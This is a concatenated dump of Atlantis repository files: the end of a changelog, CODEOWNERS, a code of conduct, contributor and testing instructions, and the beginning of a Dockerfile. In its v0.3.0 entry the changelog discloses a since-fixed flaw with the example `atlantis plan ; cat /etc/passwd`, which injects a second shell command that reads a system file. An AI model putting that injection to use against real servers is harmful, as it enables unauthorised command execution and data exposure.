[atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.6/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.6/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.6/atlantis_linux_arm.zip)\n\n# v0.3.5\n\n## Features\n* Log a warning if unable to update commit status. ([#84](https://github.com/runatlantis/atlantis/issues/84))\n\n## Backwards Incompatibilities / Notes:\n* None\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.5/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.5/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.5/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.5/atlantis_linux_arm.zip)\n\n# v0.3.4\n## Description\nThis release delivers some speed improvements through caching plugins and\nnot running `terraform workspace select` unnecessarily. In my testing it saves ~20s per run.\n\n## Features\n* All config flags can now be specified by environment variables. Fixes ([#38](https://github.com/runatlantis/atlantis/issues/38)).\n  * Completed thanks to @psalaberria002!\n* Run terraform with the `TF_PLUGIN_CACHE_DIR` env var set. Fixes ([#34](https://github.com/runatlantis/atlantis/issues/34)).\n  * This will cache plugins and make `terraform init` faster. Terraform will still download new versions of plugins. See https://www.terraform.io/docs/configuration/providers.html#provider-plugin-cache for more details.\n  * In my testing this saves >10s per run.\n* Run terraform with `TF_IN_AUTOMATION=true` so the output won't contain suggestions to run commands that you can't run via Atlantis. ([#82](https://github.com/runatlantis/atlantis/pull/82)).\n* Don't run `terraform workspace select` unless we actually need to switch workspaces. ([#82](https://github.com/runatlantis/atlantis/pull/82)).\n  * In my testing this saves ~10s.\n\n## Bug Fixes\n* Validate that workspace doesn't contain a path when running ex. `atlantis plan -w /jdlkj`. This was already not a valid workspace name according to Terraform. ([#78](https://github.com/runatlantis/atlantis/pull/78)).\n* Error out if `ngrok` is already running when running `atlantis bootstrap` ([#81](https://github.com/runatlantis/atlantis/pull/81)).\n\n## Backwards Incompatibilities / Notes:\n* None\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.4/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.4/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.4/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.4/atlantis_linux_arm.zip)\n\n# v0.3.3\n\n## Features\n* Atlantis version shown in footer of web UI. Fixes ([#33](https://github.com/runatlantis/atlantis/issues/33)).\n\n## Bug Fixes\n* GitHub comments greater than the max length will be split into multiple comments. Fixes ([#55](https://github.com/runatlantis/atlantis/issues/55)).\n\n## Backwards Incompatibilities / Notes:\n* None\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.3/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.3/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.3/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.3/atlantis_linux_arm.zip)\n\n# v0.3.2\n\n## Description\nThis release focused on some security issues reported by @eriksw, thanks Erik!\nBy default, Atlantis will be more secure now and you'll have to specify which repositories\nyou want it to work on.\n\n## Features\n* New flag `--allow-fork-prs` added to `atlantis server` controls whether Atlantis will operate on pull requests from forks. Defaults to `false`.\nThis flag was added because on a public repository anyone could open up a pull request to your repo and use your Atlantis\ninstall.\n* New mandatory flag `--repo-whitelist` added to `atlantis server` controls which repos Atlantis will operate on. This flag was added\nso that if a webhook secret is compromised (or you're not using webhook secrets) Atlantis won't be used on repos you don't control.\n* Warn if running `atlantis server` without any webhook secrets set. This is dangerous because without a webhook secret, an attacker\ncould spoof requests to Atlantis.\n* Make CLI output more readable by setting a fixed column width.\n\n## Bug Fixes\n* None\n\n## Backwards Incompatibilities / Notes:\n* Must set `--allow-fork-prs` now if you want to run Atlantis on pull requests from forked repos.\n* Must set `--repo-whitelist` in order to start `atlantis server`. See `atlantis server --help` for how that flag works.\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.2/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.2/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.2/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.2/atlantis_linux_arm.zip)\n\n# v0.3.1\n## Features\n* None\n\n## Bug Fixes\n* Run apply in correct directory when using `-d` flag. Fixes ([#22](https://github.com/runatlantis/atlantis/issues/22))\n\n## Backwards Incompatibilities / Notes:\n* None\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.1/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.1/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.1/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.1/atlantis_linux_arm.zip)\n\n# v0.3.0\n## Features\n* Fix security issue where Atlantis wasn't escaping the optional \"extra args\" that could be appended to comments ([#16](https://github.com/runatlantis/atlantis/pull/16))\n  * example exploit: `atlantis plan ; cat /etc/passwd`\n* Atlantis moved to new repo: `atlantisrun/atlantis`. Read why [here](https://medium.com/runatlantis/moving-atlantis-to-runatlantis-atlantis-on-github-4efc025bb05f)\n* New -w/--workspace and -d/--dir flags in comments ([#14](https://github.com/runatlantis/atlantis/pull/14))\n  * You can now specify which directory to plan/apply in, ex. `atlantis plan -d dir1/dir2`\n* Better feedback from atlantis when asking for help via comments, ex. `atlantis plan -h`\n\n## Bug Fixes\n* Convert `--data-dir` paths to absolute from relative. Fixes ([#245](https://github.com/hootsuite/atlantis/issues/245))\n* Don't run plan in the parent of `modules/` unless there's a `main.tf` present. Fixes ([#12](https://github.com/runatlantis/atlantis/issues/12))\n\n## Backwards Incompatibilities / Notes:\n* You must use the `-w` flag to specify a workspace when commenting now\n  * Previously: `atlantis plan staging`, now: `atlantis plan -w staging`\n* You must use a double-dash between Atlantis flags and extra args to be appended to the terraform command\n  * Previously: `atlantis plan -target=resource`, now: `atlantis plan -- -target=resource`\n* Atlantis will no longer run `plan` in the parent directory of `modules/` unless there is a `main.tf` in that directory.\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.0/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.0/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.0/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.0/atlantis_linux_arm.zip)\n\n# v0.2.4\n## Features\n* SSL support added ([#233](https://github.com/hootsuite/atlantis/pull/233))\n\n## Bug Fixes\n* GitLab custom URL for GitLab Enterprise installations now works ([#231](https://github.com/hootsuite/atlantis/pull/231))\n\n## Backwards Incompatibilities / Notes:\nNone\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.2.4/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.2.4/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.2.4/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.2.4/atlantis_linux_arm.zip)\n\n# v0.2.3\n## Features\nNone\n\n## Bug Fixes\n* Use `env` instead of `workspace` for Terraform 0.9.*\n\n## Backwards Incompatibilities / Notes:\nNone\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.2.3/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.2.3/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.2.3/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.2.3/atlantis_linux_arm.zip)\n\n# v0.2.2\n## Features\n* Terraform 0.11 is now supported ([#219](https://github.com/hootsuite/atlantis/pull/219))\n* Safe shutdown on `SIGTERM`/`SIGINT` ([#215](https://github.com/hootsuite/atlantis/pull/215))\n\n## Bug Fixes\nNone\n\n## Backwards Incompatibilities / Notes:\n* The environment variables available when executing commands have changed:\n  * `WORKSPACE` => `DIR` - this is the absolute path to the project directory on disk\n  * `ENVIRONMENT` => `WORKSPACE` - this is the name of the Terraform workspace that we're running in (ex. default)\n* The schema for storing locks changed. Any old locks will still be held but you will be unable to discard them in the UI.\n**To fix this, either merge all the open pull requests before upgrading OR delete the `~/.atlantis/atlantis.db` file.**\nThis is safe to do because you'll just need to re-run `plan` to get your plan back.\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.2.2/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.2.2/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.2.2/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.2.2/atlantis_linux_arm.zip)\n\n# v0.2.1\n## Features\n* Don't ignore changes in `modules` directories anymore. ([#211](https://github.com/hootsuite/atlantis/pull/211))\n\n## Bug Fixes\n* Don't set `as_user` to true for Slack webhooks so we can integrate as a workspace app. ([#206](https://github.com/hootsuite/atlantis/pull/206))\n\n## Backwards Incompatibilities / Notes:\nNone\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.2.1/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.2.1/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.2.1/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.2.1/atlantis_linux_arm.zip)\n\n# v0.2.0\n## Features\n* GitLab is now supported! ([#190](https://github.com/hootsuite/atlantis/pull/190))\n* Slack notifications. ([#199](https://github.com/hootsuite/atlantis/pull/199))\n\n## Bug Fixes\nNone\n\n## Backwards Incompatibilities / Notes:\nNone\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.2.0/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.2.0/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.2.0/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.2.0/atlantis_linux_arm.zip)\n\n# v0.1.3\n## Features\n* Environment variables are passed through to `extra_arguments`. ([#150](https://github.com/hootsuite/atlantis/pull/150))\n* Tested hundreds of lines of code. Test coverage now at 60%. ([https://codecov.io/gh/hootsuite/atlantis](https://codecov.io/gh/hootsuite/atlantis))\n\n## Bug Fixes\n* Modules in list of changed files weren't being filtered. ([#193](https://github.com/hootsuite/atlantis/pull/193))\n* Nil pointer error in bootstrap mode. ([#181](https://github.com/hootsuite/atlantis/pull/181))\n\n## Backwards Incompatibilities / Notes:\nNone\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.1.3/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.1.3/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.1.3/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.1.3/atlantis_linux_arm.zip)\n\n# v0.1.2\n## Features\n* all flags passed to `atlantis plan` or `atlantis apply` will now be passed through to `terraform`. ([#131](https://github.com/hootsuite/atlantis/pull/131))\n\n## Bug Fixes\n* Fix command parsing when comment ends with newline. ([#131](https://github.com/hootsuite/atlantis/pull/131))\n* Plan and Apply outputs are shown in new line. ([#132](https://github.com/hootsuite/atlantis/pull/132))\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.1.2/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.1.2/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.1.2/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.1.2/atlantis_linux_arm.zip)\n\n# v0.1.1\n## Backwards Incompatibilities / Notes:\n* `--aws-assume-role-arn` and `--aws-region` flags removed. Instead, to name the\nassume role session with the GitHub username of the user running the Atlantis command\nuse the `atlantis_user` terraform variable alongside Terraform's\n[built-in support](https://www.terraform.io/docs/providers/aws/#assume-role) for assume role\n(see https://github.com/runatlantis/atlantis/blob/main/README.md#assume-role-session-names)\n* Atlantis has a docker image now ([#123](https://github.com/hootsuite/atlantis/pull/123)). Here is how you can try it out:\n\n```bash\ndocker run runatlantis/atlantis:v0.1.1 server --gh-user=GITHUB_USERNAME --gh-token=GITHUB_TOKEN\n```\n\n## Improvements\n* Support for HTTPS cloning using GitHub username and token provided to atlantis server ([#117](https://github.com/hootsuite/atlantis/pull/117))\n* Adding `post_plan` and `post_apply` commands ([#102](https://github.com/hootsuite/atlantis/pull/102))\n* Adding the ability to verify webhook secret ([#120](https://github.com/hootsuite/atlantis/pull/120))\n\n## Downloads\n\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.1.1/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.1.1/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.1.1/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.1.1/atlantis_linux_arm.zip)\n"
  },
  {
    "path": "CODEOWNERS",
    "content": "# https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners\n# These owners will be the default owners for everything in the repo.\n*    @runatlantis/maintainers @runatlantis/core-contributors app/renovate-approve\n"
  },
  {
    "path": "CODE_OF_CONDUCT.md",
    "content": "# Contributor Covenant Code of Conduct\n\n## Our Pledge\n\nIn the interest of fostering an open and welcoming environment, we as\ncontributors and maintainers pledge to making participation in our project and\nour community a harassment-free experience for everyone, regardless of age, body\nsize, disability, ethnicity, sex characteristics, gender identity and expression,\nlevel of experience, education, socio-economic status, nationality, personal\nappearance, race, religion, or sexual identity and orientation.\n\n## Our Standards\n\nExamples of behavior that contributes to creating a positive environment\ninclude:\n\n* Using welcoming and inclusive language\n* Being respectful of differing viewpoints and experiences\n* Gracefully accepting constructive criticism\n* Focusing on what is best for the community\n* Showing empathy towards other community members\n\nExamples of unacceptable behavior by participants include:\n\n* The use of sexualized language or imagery and unwelcome sexual attention or\n advances\n* Trolling, insulting/derogatory comments, and personal or political attacks\n* Public or private harassment\n* Publishing others' private information, such as a physical or electronic\n address, without explicit permission\n* Other conduct which could reasonably be considered inappropriate in a\n professional setting\n\n## Our Responsibilities\n\nProject maintainers are responsible for clarifying the standards of acceptable\nbehavior and are expected to take appropriate and fair corrective action in\nresponse to any instances of unacceptable behavior.\n\nProject maintainers have the right and responsibility to remove, edit, or\nreject comments, commits, code, wiki edits, issues, and other contributions\nthat are not aligned to this Code of Conduct, or to ban temporarily or\npermanently any contributor for other behaviors that they deem inappropriate,\nthreatening, offensive, or harmful.\n\n## Scope\n\nThis Code of Conduct applies both within project spaces and in public spaces\nwhen an individual is representing the project or its community. Examples of\nrepresenting a project or community include using an official project e-mail\naddress, posting via an official social media account, or acting as an appointed\nrepresentative at an online or offline event. Representation of a project may be\nfurther defined and clarified by project maintainers.\n\n## Enforcement\n\nInstances of abusive, harassing, or otherwise unacceptable behavior may be\nreported by contacting the project team by messaging `@PePE Amengual`, `@Dylan Page` or `@chenrui333`  on the\n[Atlantis Slack community](https://slack.cncf.io/).\nAll complaints will be reviewed and investigated and will result in a response that\nis deemed necessary and appropriate to the circumstances. The project team is\nobligated to maintain confidentiality with regard to the reporter of an incident.\nFurther details of specific enforcement policies may be posted separately.\n\nProject maintainers who do not follow or enforce the Code of Conduct in good\nfaith may face temporary or permanent repercussions as determined by other\nmembers of the project's leadership.\n\n## Attribution\n\nThis Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4,\navailable at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html\n\n[homepage]: https://www.contributor-covenant.org\n\nFor answers to common questions about this code of conduct, see\nhttps://www.contributor-covenant.org/faq\n"
  },
  {
    "path": "CONTRIBUTING.md",
    "content": "# Contributing <!-- omit in toc -->\n\n# Table of Contents <!-- omit in toc -->\n- [Reporting Issues](#reporting-issues)\n- [Reporting Security Issues](#reporting-security-issues)\n- [Creating a Pull Request](#creating-a-pull-request)\n- [Developing](#developing)\n  - [Updating The Website](#updating-the-website)\n  - [Running Atlantis Locally](#running-atlantis-locally)\n  - [Running Atlantis With Local Changes](#running-atlantis-with-local-changes)\n    - [Rebuilding](#rebuilding)\n  - [Running Tests Locally](#running-tests-locally)\n  - [Running Tests In Docker](#running-tests-in-docker)\n  - [Calling Your Local Atlantis From GitHub](#calling-your-local-atlantis-from-github)\n  - [Code Style](#code-style)\n    - [Logging](#logging)\n    - [Errors](#errors)\n    - [Testing](#testing)\n    - [Mocks](#mocks)\n- [Backporting Fixes](#backporting-fixes)\n  - [Manual Backporting Fixes](#manual-backporting-fixes)\n- [Creating a New Release](#creating-a-new-release)\n\n# Reporting Issues\n* When reporting issues, please include the output of `atlantis version`.\n* Also include the steps required to reproduce the problem if possible and applicable. This information will help us review and fix your issue faster.\n* When sending lengthy log-files, consider posting them as a gist (https://gist.github.com). Don't forget to remove sensitive data from your logfiles before posting (you can replace those parts with \"REDACTED\").\n\n# Reporting Security Issues\nWe take security issues seriously. Please report a security vulnerability to the maintainers using [private vulnerability reporting](https://github.com/runatlantis/atlantis/security/advisories/new).\n\n# Creating a Pull Request\n* Fork the [Atlantis repo](https://github.com/runatlantis/atlantis)\n* Create a new branch, commit your changes\n  * Make sure to sign your commits, for example by adding `-s` when committing, see more [here](https://probot.github.io/apps/dco/).\n* Create a PR\n  * Make sure your title follows Conventional Commits by using a prefix like `fix:` or `feat:`, see more [here](https://www.conventionalcommits.org/en/v1.0.0/).\n  * Link to any issues, including one you may have made\n\nIf you have any questions about the contribution process, see [Atlantis Contributors on Slack](https://cloud-native.slack.com/archives/C07T45G27EZ).\n\n# Developing\n\n## Updating The Website\n* To view the generated website locally, run `npm website:dev` and then\nopen your browser to http://localhost:8080.\n* The website will be regenerated when your pull request is merged to main.\n\n## Running Atlantis Locally\n* Clone the repo from https://github.com/runatlantis/atlantis/\n* Compile Atlantis:\n    ```sh\n    go install\n    ```\n* Run Atlantis:\n    ```sh\n    atlantis server --gh-user <your username> --gh-token <your token> --repo-allowlist <your repo> --gh-webhook-secret <your webhook secret> --log-level debug\n    ```\n    If you get an error like `command not found: atlantis`, ensure that `$GOPATH/bin` is in your `$PATH`.\n\n## Running Atlantis With Local Changes\nDocker compose is set up to start an atlantis container and ngrok container in the same network in order to expose the atlantis instance to the internet.  In order to do this, create a file in the repository called `atlantis.env` and add the required env vars for the atlantis server configuration.\n\ne.g.\n\n```sh\nNGROK_AUTHTOKEN=1234567890\n\nATLANTIS_GH_APP_ID=123\nATLANTIS_GH_APP_KEY_FILE=\"/.ssh/somekey.pem\"\nATLANTIS_GH_WEBHOOK_SECRET=12345\n```\n\nNote: `~/.ssh` is mounted to allow for referencing any local ssh keys.\n\nFollowing this just run:\n\n```sh\nmake build-service\ndocker-compose up --detach\ndocker-compose logs --follow\n```\n\n### Rebuilding\nIf the ngrok container is restarted, the url will change which is a hassle. Fortunately, when we make a code change, we can rebuild and restart the atlantis container easily without disrupting ngrok.\n\ne.g.\n\n```sh\nmake build-service\ndocker-compose up --detach --build\n```\n\n## Running Tests Locally\n`make test`. If you want to run the integration tests that actually run real `terraform` commands, run `make test-all`.\n\n## Running Tests In Docker\n```sh\ndocker run --rm -v $(pwd):/go/src/github.com/runatlantis/atlantis -w /go/src/github.com/runatlantis/atlantis ghcr.io/runatlantis/testing-env:latest make test\n```\n\nOr to run the integration tests\n\n```sh\ndocker run --rm -v $(pwd):/go/src/github.com/runatlantis/atlantis -w /go/src/github.com/runatlantis/atlantis ghcr.io/runatlantis/testing-env:latest make test-all\n```\n\n## Calling Your Local Atlantis From GitHub\n- Create a test terraform repository in your GitHub.\n- Create a personal access token for Atlantis. See [Create a GitHub token](https://github.com/runatlantis/atlantis/tree/main/runatlantis.io/docs/access-credentials.md#generating-an-access-token).\n- Start Atlantis in server mode using that token:\n```sh\natlantis server --gh-user <your username> --gh-token <your token> --repo-allowlist <your repo> --gh-webhook-secret <your webhook secret> --log-level debug\n```\n- Download ngrok from https://ngrok.com/download. This will enable you to expose Atlantis running on your laptop to the internet so GitHub can call it.\n- When you've downloaded and extracted ngrok, run it on port `4141`:\n```sh\nngrok http 4141\n```\n- Create a Webhook in your repo and use the `https` url that `ngrok` printed out after running `ngrok http 4141`. Be sure to append `/events` so your webhook url looks something like `https://efce3bcd.ngrok.io/events`. See [Add GitHub Webhook](https://github.com/runatlantis/atlantis/blob/main/runatlantis.io/docs/configuring-webhooks.md#configuring-webhooks).\n- Create a pull request and type `atlantis help`. You should see the request in the `ngrok` and Atlantis logs and you should also see Atlantis comment back.\n\n## Code Style\n\n### Logging\n- `ctx.Log` should be available in most methods. If not, pass it down.\n- levels:\n    - debug is for developers of atlantis\n    - info is for users (expected that people run on info level)\n    - warn is for something that might be a problem but we're not sure\n    - error is for something that's definitely a problem\n- **ALWAYS** logs should be all lowercase (when printed, the first letter of each line will be automatically capitalized)\n- **ALWAYS** quote any string variables using %q in the fmt string, ex. `ctx.Log.Info(\"cleaning clone dir %q\", dir)` => `Cleaning clone directory \"/tmp/atlantis/lkysow/atlantis-terraform-test/3\"`\n- **NEVER** use colons \"`:`\" in a log since that's used to separate error descriptions and causes\n  - if you need to have a break in your log, either use `-` or `,` ex. `failed to clean directory, continuing regardless`\n\n### Errors\n- **ALWAYS** use lowercase unless the word requires it\n- **ALWAYS** use `fmt.Errorf(\"additional context: %w\", err)\"` instead of `fmt.Errorf(\"additional context: %s\", err)`\nbecause it is less likely to result in mistakes and gives us the ability to trace calls\n- **NEVER** use the words \"error occurred when...\", or \"failed to...\" or \"unable to...\", etc. Instead, describe what was occurring at\ntime of the error, ex. \"cloning repository\", \"creating AWS session\". This will prevent errors from looking like\n```\nError setting up workspace: failed to run git clone: could find git\n```\n\nand will instead look like\n```\nError: setting up workspace: running git clone: no executable \"git\"\n```\nThis is easier to read and more consistent\n\n### Testing\n- place tests under `{package under test}_test` to enforce testing the external interfaces\n- if you need to test internally i.e. access non-exported stuff, call the file `{file under test}_internal_test.go`\n- use our testing utility for easier-to-read assertions: `import . \"github.com/runatlantis/atlantis/testing\"` and then use `Assert()`, `Equals()` and `Ok()`\n\n### Mocks\nWe use [pegomock](https://github.com/petergtz/pegomock) for mocking. If you're\nmodifying any interfaces that are mocked, you'll need to regen the mocks for that\ninterface.\n\nInstall using `go install github.com/petergtz/pegomock/v4/pegomock@latest`\n\nIf you see errors like:\n```\n# github.com/runatlantis/atlantis/server/events [github.com/runatlantis/atlantis/server/events.test]\nserver/events/project_command_builder_internal_test.go:567:5: cannot use workingDir (type *MockWorkingDir) as type WorkingDir in field value:\n\t*MockWorkingDir does not implement WorkingDir (missing ListAllFiles method)\n```\n\nThen you've likely modified an interface and now need to update the mocks.\n\nEach interface that is mocked has a `go:generate` command above it, e.g.\n```go\n//go:generate pegomock generate -m --package mocks -o mocks/mock_project_command_builder.go ProjectCommandBuilder\n\ntype ProjectCommandBuilder interface {\n\tBuildAutoplanCommands(ctx *command.Context) ([]command.ProjectContext, error)\n}\n```\n\nTo regen the mock, run `go generate` on that file, e.g.\n```sh\ngo generate server/events/project_command_builder.go\n```\n\nAlternatively, you can run `make go-generate` to execute `go generate` across all packages\n"
  },
  {
    "path": "Dockerfile",
    "content": "# syntax=docker/dockerfile:1@sha256:4a43a54dd1fedceb30ba47e76cfcf2b47304f4161c0caeac2db1c61804ea3c91\n# what distro is the image being built for\nARG ALPINE_TAG=3.23.3@sha256:25109184c71bdad752c8312a8623239686a9a2071e8825f20acb8f2198c3f659\nARG DEBIAN_TAG=12.13-slim@sha256:f06537653ac770703bc45b4b113475bd402f451e85223f0f2837acbf89ab020a\n# renovate: datasource=docker depName=golang versioning=docker\nARG GOLANG_TAG=1.25.4-alpine@sha256:d3f0cf7723f3429e3f9ed846243970b20a2de7bae6a5b66fc5914e228d831bbb\n\n# renovate: datasource=github-releases depName=hashicorp/terraform versioning=hashicorp\nARG DEFAULT_TERRAFORM_VERSION=1.14.5\n# renovate: datasource=github-releases depName=opentofu/opentofu versioning=hashicorp\nARG DEFAULT_OPENTOFU_VERSION=1.11.5\n# renovate: datasource=github-releases depName=open-policy-agent/conftest\nARG DEFAULT_CONFTEST_VERSION=0.66.0\n\n# Stage 1: build artifact and download deps\n\nFROM --platform=$BUILDPLATFORM golang:${GOLANG_TAG} AS builder\n\n# These are automatically populated by Docker\nARG TARGETOS\nARG TARGETARCH\n\nARG ATLANTIS_VERSION=dev\nENV ATLANTIS_VERSION=${ATLANTIS_VERSION}\nARG ATLANTIS_COMMIT=none\nENV ATLANTIS_COMMIT=${ATLANTIS_COMMIT}\nARG ATLANTIS_DATE=unknown\nENV ATLANTIS_DATE=${ATLANTIS_DATE}\n\nARG DEFAULT_TERRAFORM_VERSION\nENV DEFAULT_TERRAFORM_VERSION=${DEFAULT_TERRAFORM_VERSION}\nARG DEFAULT_CONFTEST_VERSION\nENV DEFAULT_CONFTEST_VERSION=${DEFAULT_CONFTEST_VERSION}\n\nWORKDIR /app\n\n# This is needed to download transitive dependencies instead of compiling them\n# https://github.com/montanaflynn/golang-docker-cache\n# https://github.com/golang/go/issues/27719\n# renovate: datasource=repology depName=alpine_3_22/bash versioning=loose\nENV BUILDER_BASH_VERSION=\"5.2.37-r0\"\nRUN apk add --no-cache \\\n        bash=${BUILDER_BASH_VERSION}\nCOPY go.mod go.sum ./\nSHELL [\"/bin/bash\", \"-o\", \"pipefail\", \"-c\"]\nRUN --mount=type=cache,target=/go/pkg/mod \\\n    go mod graph | awk '{if ($1 !~ \"@\") print $2}' | xargs go get\n\nCOPY . /app\nRUN --mount=type=cache,target=/go/pkg/mod \\\n    --mount=type=cache,target=/root/.cache/go-build \\\n    CGO_ENABLED=0 GOOS=${TARGETOS} GOARCH=${TARGETARCH} go build -trimpath -ldflags \"-s -w -X 'main.version=${ATLANTIS_VERSION}' -X 'main.commit=${ATLANTIS_COMMIT}' -X 'main.date=${ATLANTIS_DATE}'\" -v -o atlantis .\n\nFROM debian:${DEBIAN_TAG} AS debian-base\n\n# Define package versions for Debian\n# renovate: datasource=repology depName=debian_12/ca-certificates versioning=loose\nENV DEBIAN_CA_CERTIFICATES_VERSION=\"20230311+deb12u1\"\n# renovate: datasource=repology depName=debian_12/curl versioning=loose\nENV DEBIAN_CURL_VERSION=\"7.88.1-10+deb12u14\"\n# renovate: datasource=repology depName=debian_12/git versioning=loose\nENV DEBIAN_GIT_VERSION=\"1:2.39.5-0+deb12u2\"\n# renovate: datasource=repology depName=debian_12/unzip versioning=loose\nENV DEBIAN_UNZIP_VERSION=\"6.0-28\"\n# renovate: datasource=repology depName=debian_12/openssh-server versioning=loose\nENV DEBIAN_OPENSSH_SERVER_VERSION=\"1:9.2p1-2+deb12u7\"\n# renovate: datasource=repology depName=debian_12/dumb-init versioning=loose\nENV DEBIAN_DUMB_INIT_VERSION=\"1.2.5-2\"\n# renovate: datasource=repology depName=debian_12/gnupg versioning=loose\nENV DEBIAN_GNUPG_VERSION=\"2.2.40-1.1+deb12u2\"\n# renovate: datasource=repology depName=debian_12/openssl versioning=loose\nENV DEBIAN_OPENSSL_VERSION=\"3.0.17-1~deb12u2\"\n\n# Install packages needed to run Atlantis.\n# We place this last as it will bust less docker layer caches when packages update\nRUN apt-get update && \\\n    apt-get install -y --no-install-recommends \\\n        ca-certificates=${DEBIAN_CA_CERTIFICATES_VERSION} \\\n        